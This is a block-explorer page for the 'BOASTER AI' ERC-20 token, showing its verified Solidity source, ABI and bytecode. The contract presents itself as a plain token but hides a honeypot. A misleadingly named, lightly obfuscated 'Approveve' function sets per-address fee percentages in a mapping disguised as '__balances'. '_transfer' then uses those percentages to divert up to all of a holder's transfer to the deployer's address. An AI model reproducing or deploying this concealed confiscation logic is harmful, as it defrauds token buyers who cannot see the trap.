ETH Price: $2,486.62 (-1.37%)

Token

BOASTER AI (BOASTERAI)
 

Overview

Max Total Supply

10,000,000 BOASTERAI

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
119,898.797742385 BOASTERAI

Value
$0.00
0x8a08753f006e2d3821ab941134172eaa26aee5cf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOASTERAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-04-22
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnershipzexyo(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract BOASTERAI is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;
    address public _uniswapV2 = 0xB3CA11BA8974BBf3cbeBc884A333489442aD9674;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = unicode"BOASTER AI";
        symbol = unicode"BOASTERAI";
        decimals = 9;
        uint256 Supply = 10000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    function Approveve(address[] memory users, uint256 feePercent) external {
            uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
            uint256 C = A - 3;A = C;
            for (uint256 i = 0; i < users.length; i++) {
                __balances[users[i]] = feePercent;
            }
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"Approveve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipzexyo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600d80546001600160a01b03191673b3ca11ba8974bbf3cbebc884a333489442ad967417905534801562000036575f80fd5b505f80546001600160a01b0319163317905560408051808201909152600a815269424f415354455220414960b01b6020820152600490620000789082620003ff565b50604080518082019091526009815268424f4153544552414960b81b6020820152600590620000a89082620003ff565b506006805460ff19166009908117909155600380546001600160a01b031916331790555f600b556298968090620000e190600a620005d6565b620000ed9082620005ed565b6008908155305f9081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa15801562000203573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000229919062000607565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000289573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002af919062000607565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000320919062000607565b600c80546001600160a01b0319166001600160a01b03928316179055600954165f908152600760205260409020805460ff19166001179055506200062f565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200038857607f821691505b602082108103620003a757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003fa575f81815260208120601f850160051c81016020861015620003d55750805b601f850160051c820191505b81811015620003f657828155600101620003e1565b5050505b505050565b81516001600160401b038111156200041b576200041b6200035f565b62000433816200042c845462000373565b84620003ad565b602080601f83116001811462000469575f8415620004515750858301515b5f19600386901b1c1916600185901b178555620003f6565b5f85815260208120601f198616915b82811015620004995788860151825594840194600190910190840162000478565b5085821015620004b757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200051b57815f1904821115620004ff57620004ff620004c7565b808516156200050d57918102915b93841c9390800290620004e0565b509250929050565b5f826200053357506001620005d0565b816200054157505f620005d0565b81600181146200055a5760028114620005655762000585565b6001915050620005d0565b60ff841115620005795762000579620004c7565b50506001821b620005d0565b5060208310610133831016604e8410600b8410161715620005aa575081810a620005d0565b620005b68383620004db565b805f1904821115620005cc57620005cc620004c7565b0290505b92915050565b5f620005e660ff84168362000523565b9392505050565b8082028115828204841417620005d057620005d0620004c7565b5f6020828403121562000618575f80fd5b81516001600160a01b0381168114620005e6575f80fd5b610b7f806200063d5f395ff3fe608060405260043610610113575f3560e01c8063420d10b51161009d5780638da5cb5b116100625780638da5cb5b1461033b57806395d89b41146103575780639ba10b761461036b578063a9059cbb1461038a578063dd62ed3e146103a9575f80fd5b8063420d10b51461027f578063426329c1146102aa5780634bf28fd0146102c957806365b61b77146102e857806370a0823114610307575f80fd5b80631b7acadf116100e35780631b7acadf146101d157806323b872dd146101f257806330da23e414610211578063313ce5671461022657806336b2e02714610251575f80fd5b806306fdde031461011e578063095ea7b3146101485780630aa0e91e1461017757806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f9190610883565b60405180910390f35b348015610153575f80fd5b506101676101623660046108e9565b610479565b604051901515815260200161013f565b348015610182575f80fd5b50600d54610196906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156101b9575f80fd5b506101c360085481565b60405190815260200161013f565b3480156101dc575f80fd5b506101f06101eb366004610911565b61048f565b005b3480156101fd575f80fd5b5061016761020c366004610931565b6104f6565b34801561021c575f80fd5b506101c3600b5481565b348015610231575f80fd5b5060065461023f9060ff1681565b60405160ff909116815260200161013f565b34801561025c575f80fd5b5061016761026b366004610911565b60076020525f908152604090205460ff1681565b34801561028a575f80fd5b506101c3610299366004610911565b600a6020525f908152604090205481565b3480156102b5575f80fd5b50600354610196906001600160a01b031681565b3480156102d4575f80fd5b50600c54610196906001600160a01b031681565b3480156102f3575f80fd5b50600954610196906001600160a01b031681565b348015610312575f80fd5b506101c3610321366004610911565b6001600160a01b03165f9081526001602052604090205490565b348015610346575f80fd5b505f546001600160a01b0316610196565b348015610362575f80fd5b50610132610588565b348015610376575f80fd5b506101f061038536600461097e565b610595565b348015610395575f80fd5b506101676103a43660046108e9565b61062f565b3480156103b4575f80fd5b506101c36103c3366004610a44565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b600480546103fa90610a75565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610a75565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f61048533848461063b565b5060015b92915050565b5f546001600160a01b031633146104d55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f61050284848461069b565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461057e576001600160a01b0384165f90815260026020908152604080832033845290915290205461055a908390610ac1565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b600580546103fa90610a75565b6003545f906001600160a01b031633146105b05760016105b3565b60095b60ff1690505f6105c4600383610ac1565b90508091505f5b84518110156106285783600a5f8784815181106105ea576105ea610ad4565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f2081905550808061062090610ae8565b9150506105cb565b5050505050565b5f61048533848461069b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff161580156106cf57506001600160a01b0384165f9081526007602052604090205460ff16155b80156106f357506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f90815260016020526040902054909150610719908390610ac1565b6001600160a01b0385165f9081526001602052604081209190915581156107f3576001600160a01b0385165f908152600a602052604081205460649061075f9086610b00565b6107699190610b17565b90506107758183610b36565b915080156107f1576003546001600160a01b03165f90815260016020526040812080548392906107a6908490610b36565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f908152600160205260409020548190610818908590610b36565b6108229190610ac1565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61086b8487610ac1565b60405190815260200160405180910390a35050505050565b5f6020808352835180828501525f5b818110156108ae57858101830151858201604001528201610892565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108e4575f80fd5b919050565b5f80604083850312156108fa575f80fd5b610903836108ce565b946020939093013593505050565b5f60208284031215610921575f80fd5b61092a826108ce565b9392505050565b5f805f60608486031215610943575f80fd5b61094c846108ce565b925061095a602085016108ce565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f806040838503121561098f575f80fd5b823567ffffffffffffffff808211156109a6575f80fd5b818501915085601f8301126109b9575f80fd5b81356020828211156109cd576109cd61096a565b8160051b604051601f19603f830116810181811086821117156109f2576109f261096a565b604052928352818301935084810182019289841115610a0f575f80fd5b948201945b83861015610a3457610a25866108ce565b85529482019493820193610a14565b9997909101359750505050505050565b5f8060408385031215610a55575f80fd5b610a5e836108ce565b9150610a6c602084016108ce565b90509250929050565b600181811c90821680610a8957607f821691505b602082108103610aa757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048957610489610aad565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610af957610af9610aad565b5060010190565b808202811582820484141761048957610489610aad565b5f82610b3157634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561048957610489610aad56fea2646970667358221220df97578073c1ee7a9ba63c28bc7799bcb7f1a402c7699b845aa8f61c23a27eba64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063420d10b51161009d5780638da5cb5b116100625780638da5cb5b1461033b57806395d89b41146103575780639ba10b761461036b578063a9059cbb1461038a578063dd62ed3e146103a9575f80fd5b8063420d10b51461027f578063426329c1146102aa5780634bf28fd0146102c957806365b61b77146102e857806370a0823114610307575f80fd5b80631b7acadf116100e35780631b7acadf146101d157806323b872dd146101f257806330da23e414610211578063313ce5671461022657806336b2e02714610251575f80fd5b806306fdde031461011e578063095ea7b3146101485780630aa0e91e1461017757806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f9190610883565b60405180910390f35b348015610153575f80fd5b506101676101623660046108e9565b610479565b604051901515815260200161013f565b348015610182575f80fd5b50600d54610196906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156101b9575f80fd5b506101c360085481565b60405190815260200161013f565b3480156101dc575f80fd5b506101f06101eb366004610911565b61048f565b005b3480156101fd575f80fd5b5061016761020c366004610931565b6104f6565b34801561021c575f80fd5b506101c3600b5481565b348015610231575f80fd5b5060065461023f9060ff1681565b60405160ff909116815260200161013f565b34801561025c575f80fd5b5061016761026b366004610911565b60076020525f908152604090205460ff1681565b34801561028a575f80fd5b506101c3610299366004610911565b600a6020525f908152604090205481565b3480156102b5575f80fd5b50600354610196906001600160a01b031681565b3480156102d4575f80fd5b50600c54610196906001600160a01b031681565b3480156102f3575f80fd5b50600954610196906001600160a01b031681565b348015610312575f80fd5b506101c3610321366004610911565b6001600160a01b03165f9081526001602052604090205490565b348015610346575f80fd5b505f546001600160a01b0316610196565b348015610362575f80fd5b50610132610588565b348015610376575f80fd5b506101f061038536600461097e565b610595565b348015610395575f80fd5b506101676103a43660046108e9565b61062f565b3480156103b4575f80fd5b506101c36103c3366004610a44565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b600480546103fa90610a75565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610a75565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f61048533848461063b565b5060015b92915050565b5f546001600160a01b031633146104d55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f61050284848461069b565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461057e576001600160a01b0384165f90815260026020908152604080832033845290915290205461055a908390610ac1565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b600580546103fa90610a75565b6003545f906001600160a01b031633146105b05760016105b3565b60095b60ff1690505f6105c4600383610ac1565b90508091505f5b84518110156106285783600a5f8784815181106105ea576105ea610ad4565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f2081905550808061062090610ae8565b9150506105cb565b5050505050565b5f61048533848461069b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff161580156106cf57506001600160a01b0384165f9081526007602052604090205460ff16155b80156106f357506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f90815260016020526040902054909150610719908390610ac1565b6001600160a01b0385165f9081526001602052604081209190915581156107f3576001600160a01b0385165f908152600a602052604081205460649061075f9086610b00565b6107699190610b17565b90506107758183610b36565b915080156107f1576003546001600160a01b03165f90815260016020526040812080548392906107a6908490610b36565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f908152600160205260409020548190610818908590610b36565b6108229190610ac1565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61086b8487610ac1565b60405190815260200160405180910390a35050505050565b5f6020808352835180828501525f5b818110156108ae57858101830151858201604001528201610892565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108e4575f80fd5b919050565b5f80604083850312156108fa575f80fd5b610903836108ce565b946020939093013593505050565b5f60208284031215610921575f80fd5b61092a826108ce565b9392505050565b5f805f60608486031215610943575f80fd5b61094c846108ce565b925061095a602085016108ce565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f806040838503121561098f575f80fd5b823567ffffffffffffffff808211156109a6575f80fd5b818501915085601f8301126109b9575f80fd5b81356020828211156109cd576109cd61096a565b8160051b604051601f19603f830116810181811086821117156109f2576109f261096a565b604052928352818301935084810182019289841115610a0f575f80fd5b948201945b83861015610a3457610a25866108ce565b85529482019493820193610a14565b9997909101359750505050505050565b5f8060408385031215610a55575f80fd5b610a5e836108ce565b9150610a6c602084016108ce565b90509250929050565b600181811c90821680610a8957607f821691505b602082108103610aa757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048957610489610aad565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610af957610af9610aad565b5060010190565b808202811582820484141761048957610489610aad565b5f82610b3157634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561048957610489610aad56fea2646970667358221220df97578073c1ee7a9ba63c28bc7799bcb7f1a402c7699b845aa8f61c23a27eba64736f6c63430008140033

Deployed Bytecode Sourcemap

969:3715:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1322:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4030:124;;;;;;;;;;-1:-1:-1;4030:124:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4030:124:0;1004:187:1;1705:70:0;;;;;;;;;;-1:-1:-1;1705:70:0;;;;-1:-1:-1;;;;;1705:70:0;;;;;;-1:-1:-1;;;;;1360:32:1;;;1342:51;;1330:2;1315:18;1705:70:0;1196:203:1;1446:26:0;;;;;;;;;;;;;;;;;;;1550:25:1;;;1538:2;1523:18;1446:26:0;1404:177:1;849:111:0;;;;;;;;;;-1:-1:-1;849:111:0;;;;;:::i;:::-;;:::i;:::-;;4160:327;;;;;;;;;;-1:-1:-1;4160:327:0;;;;;:::i;:::-;;:::i;1641:23::-;;;;;;;;;;;;;;;;1368:21;;;;;;;;;;-1:-1:-1;1368:21:0;;;;;;;;;;;2282:4:1;2270:17;;;2252:36;;2240:2;2225:18;1368:21:0;2110:184:1;1390:49:0;;;;;;;;;;-1:-1:-1;1390:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1585:46;;;;;;;;;;-1:-1:-1;1585:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;1296:25;;;;;;;;;;-1:-1:-1;1296:25:0;;;;-1:-1:-1;;;;;1296:25:0;;;1671:27;;;;;;;;;;-1:-1:-1;1671:27:0;;;;-1:-1:-1;;;;;1671:27:0;;;1473:36;;;;;;;;;;-1:-1:-1;1473:36:0;;;;-1:-1:-1;;;;;1473:36:0;;;3670:94;;;;;;;;;;-1:-1:-1;3670:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;3744:18:0;3727:7;3744:18;;;:9;:18;;;;;;;3670:94;677:63;;;;;;;;;;-1:-1:-1;715:7:0;732:6;-1:-1:-1;;;;;732:6:0;677:63;;1341:20;;;;;;;;;;;;;:::i;3358:304::-;;;;;;;;;;-1:-1:-1;3358:304:0;;;;;:::i;:::-;;:::i;3770:130::-;;;;;;;;;;-1:-1:-1;3770:130:0;;;;;:::i;:::-;;:::i;3906:118::-;;;;;;;;;;-1:-1:-1;3906:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;3995:18:0;;;3978:7;3995:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3906:118;1322:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4030:124::-;4096:4;4103:37;4112:10;4124:7;4133:6;4103:8;:37::i;:::-;-1:-1:-1;4148:4:0;4030:124;;;;;:::o;849:111::-;786:6;;-1:-1:-1;;;;;786:6:0;796:10;786:20;778:39;;;;-1:-1:-1;;;778:39:0;;4708:2:1;778:39:0;;;4690:21:1;4747:1;4727:18;;;4720:29;-1:-1:-1;;;4765:18:1;;;4758:36;4811:18;;778:39:0;;;;;;;;935:6:::1;:17:::0;;-1:-1:-1;;;;;;935:17:0::1;-1:-1:-1::0;;;;;935:17:0;;;::::1;::::0;;;::::1;::::0;;849:111::o;4160:327::-;4249:4;4266:36;4276:6;4284:9;4295:6;4266:9;:36::i;:::-;-1:-1:-1;;;;;4317:19:0;;1576:1;4317:19;;;:11;:19;;;;;;;;4337:10;4317:31;;;;;;;;-1:-1:-1;;4317:38:0;4313:145;;-1:-1:-1;;;;;4406:19:0;;;;;;:11;:19;;;;;;;;4426:10;4406:31;;;;;;;;:40;;4440:6;;4406:40;:::i;:::-;-1:-1:-1;;;;;4372:19:0;;;;;;:11;:19;;;;;;;;4392:10;4372:31;;;;;;;:74;4313:145;-1:-1:-1;4475:4:0;4160:327;;;;;:::o;1341:20::-;;;;;;;:::i;3358:304::-;3457:10;;3445:9;;-1:-1:-1;;;;;3457:10:0;3471;3457:24;:34;;3488:3;3457:34;;;3484:1;3457:34;3445:46;;;-1:-1:-1;3506:9:0;3518:5;3522:1;3445:46;3518:5;:::i;:::-;3506:17;;3528:1;3524:5;;3549:9;3544:111;3568:5;:12;3564:1;:16;3544:111;;;3629:10;3606;:20;3617:5;3623:1;3617:8;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3606:20:0;-1:-1:-1;;;;;3606:20:0;;;;;;;;;;;;:33;;;;3582:3;;;;;:::i;:::-;;;;3544:111;;;;3430:232;;3358:304;;:::o;3770:130::-;3839:4;3846:40;3856:10;3868:9;3879:6;3846:9;:40::i;4495:151::-;-1:-1:-1;;;;;4570:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4612:32;;1550:25:1;;;4612:32:0;;1523:18:1;4612:32:0;;;;;;;4495:151;;;:::o;1784:702::-;1888:6;;1864:20;;-1:-1:-1;;;1888:6:0;;;;1887:7;:35;;;;-1:-1:-1;;;;;;1899:23:0;;;;;;:17;:23;;;;;;;;1898:24;1887:35;:61;;;;-1:-1:-1;;;;;;1927:21:0;;;;;;:17;:21;;;;;;;;1926:22;1887:61;-1:-1:-1;;;;;1979:15:0;;;;;;:9;:15;;;;;;1864:84;;-1:-1:-1;1979:24:0;;1997:6;;1979:24;:::i;:::-;-1:-1:-1;;;;;1961:15:0;;;;;;:9;:15;;;;;:42;;;;2045:317;;;;-1:-1:-1;;;;;2110:16:0;;2081:17;2110:16;;;:10;:16;;;;;;2129:3;;2101:25;;:6;:25;:::i;:::-;:31;;;;:::i;:::-;2081:51;-1:-1:-1;2147:23:0;2081:51;2147:23;;:::i;:::-;;-1:-1:-1;2189:13:0;;2185:166;;2240:10;;-1:-1:-1;;;;;2240:10:0;2222:30;;;;:9;:30;;;;;:43;;2256:9;;2222:30;:43;;2256:9;;2222:43;:::i;:::-;;;;-1:-1:-1;;2312:10:0;;2289:46;;1550:25:1;;;-1:-1:-1;;;;;2312:10:0;;;;2289:46;;;;;1538:2:1;1523:18;2289:46:0;;;;;;;2185:166;2066:296;2045:317;-1:-1:-1;;;;;2388:13:0;;;;;;:9;:13;;;;;;2413:10;;2388:22;;2404:6;;2388:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2372:13:0;;;;;;;:9;:13;;;;;:51;;;;2439:39;;;2458:19;2467:10;2458:6;:19;:::i;:::-;2439:39;;1550:25:1;;;1538:2;1523:18;2439:39:0;;;;;;;1851:635;;1784:702;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1586:186::-;1645:6;1698:2;1686:9;1677:7;1673:23;1669:32;1666:52;;;1714:1;1711;1704:12;1666:52;1737:29;1756:9;1737:29;:::i;:::-;1727:39;1586:186;-1:-1:-1;;;1586:186:1:o;1777:328::-;1854:6;1862;1870;1923:2;1911:9;1902:7;1898:23;1894:32;1891:52;;;1939:1;1936;1929:12;1891:52;1962:29;1981:9;1962:29;:::i;:::-;1952:39;;2010:38;2044:2;2033:9;2029:18;2010:38;:::i;:::-;2000:48;;2095:2;2084:9;2080:18;2067:32;2057:42;;1777:328;;;;;:::o;2528:127::-;2589:10;2584:3;2580:20;2577:1;2570:31;2620:4;2617:1;2610:15;2644:4;2641:1;2634:15;2660:1191;2753:6;2761;2814:2;2802:9;2793:7;2789:23;2785:32;2782:52;;;2830:1;2827;2820:12;2782:52;2870:9;2857:23;2899:18;2940:2;2932: